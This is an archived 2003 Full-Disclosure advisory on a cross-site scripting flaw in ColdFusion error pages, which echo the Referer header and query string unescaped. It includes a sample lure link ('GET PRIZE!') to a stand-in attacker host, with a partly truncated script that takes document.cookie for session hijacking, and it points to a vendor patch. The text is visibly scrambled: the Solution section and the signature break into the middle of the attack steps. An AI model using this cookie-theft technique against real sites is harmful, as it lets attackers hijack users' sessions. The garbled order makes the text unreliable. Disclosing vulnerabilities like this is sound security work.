[Full-Disclosure] ColdFusion cross-site scripting security vulnerability of an error page
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Date: 09/23/03
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To: full-disclosure@lists.netsys.com Date: Tue, 23 Sep 2003 14:09:19 +0900
ColdFusion cross-site scripting security vulnerability of an error page
>> The outline of vulnerability
Macromedia's ColdFusion can display the various information about an
error at the time of error occurred.
There is information transmitted from a client machine like "Referer".
ColdFusion displays the information as it is.
An attacker can execute a script on victim's browser by preparing for
WEB the link which embedded arbitrary scripts.
>> User's risk
The user who accesses a vulnerable server has a risk that forced to
execute the arbitrary javascript and HTML code which the attacker
embedded.
Risks of being assumed are below.
session high-jack ( by stolen cookie )
page defacement by embedded html tags.
etc.
It is insecure to store critical information ( such as personal
information ) without encryption in cookie. Such a poor
application will make risk bigger when session-highjack occurs.
>> The range of influence
This problem is contained in the error page of all versions of
ColdFusion.
This problem does not occurred when ColdFusion's error page does not
include the contents transmitted from client machines ( such as "Referer"
).
>> About vulnerability
In Cold Fusion, an error screen is displayed at the time of error
occurred.
It is possible to display the contents transmitted from the client
machine (#error.HTTPReferer#) as it is.
When the code for an attack is contained in the contents to display, a
cross-site scripting attack can be executed.
For example, the script will be executed when the script for an attack
is embedded by "Referer" in #error.HTTPReferer#, and an error screen is
displayed.
The same problem exists in the #error.QueryString# .
>> Sample attack
User using Cold Fusion of the site A (www.CFtestA.com).
The method of stealing cookie is bellow.
1. An attacker creates the page B (www.atack_testA.com/cf.html) with the
When cookie is published in site A, it can steal by this method.
>> Solution
The patch corresponding to this problem is distributed at Macromedia.
T.Hara , Scan Security Wire http://www.scan-web.com/ .
_______________________________________________
link to the site A.
2. Next, after considering the invitation complaint which is easy to
guide victims, such as present collection, to another page, the link to
Page B is attached.
A code for an attack is embedded into this link, that code remains as
"Referer" information as it is, and when it clicks the link to the site
A which has a victim in Page B, it will be executed.
Example: <a href ="http://www.atack_testA.com/cf.html?
(document.cookie) </script>"> GET PRIZE! HERE'S PRIZE LINKS!</a>
In addition, cf.html does not need to have the mechanisms (CGI etc.).
The code below "?" is disregarded. cf.html is only displayed.
However, an attack becomes possible in order for "?" or subsequent ones
to remain in "Referer" as it is.
By changing the code embedded by the same method, it becomes possible to
execute arbitrary codes.
A patch can come to hand by Following URL.
URL of http://www.macromedia.com/devnet/security/security_zone/mpsb03-06.
html
Moreover, you should not use an error page which displays the contents
transmitted from a client machine as it is irrespective of the existence
of patch application.
Although it may be necessity at the debugging time, it is dangerous with
real operation environment.
http://www.scan-web.com/jvi/index.cgi
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
Relevant Pages
... > execute the arbitrary javascript and HTML code which the attacker ... > It is possible to display the contents transmitted from the client ... > cross-site scripting attack can be executed. ... the script will be executed when the script for an attack ...
(Full-Disclosure)
... execute the arbitrary javascript and HTML code which the attacker ... It is possible to display the contents transmitted from the client ... cross-site scripting attack can be executed. ... the script will be executed when the script for an attack ...
(VulnWatch)
... Macromedia's ColdFusion can display the various information about an error at the time of error occurred. ... An attacker can execute a script on victim's browser by preparing for WEB the link which embedded arbitrary scripts. ... The user who accesses a vulnerable server has a risk that forced to execute the arbitrary javascript and HTML code which the attacker embedded. ... When the code for an attack is contained in the contents to display, a cross-site scripting attack can be executed. ...
(Bugtraq)
... vulnerable to a remotely-exploitable bug that can execute nearly-arbitrary ... I've recently discovered that the IRC script for EPIC4 that I maintain is ... vulnerable to a fairly easy remote attack. ...
(Bugtraq)
... Using OutlookSpy, try to execute the following script: ... > I already considered that option; but the display name need not be ...
(microsoft.public.exchange.development)
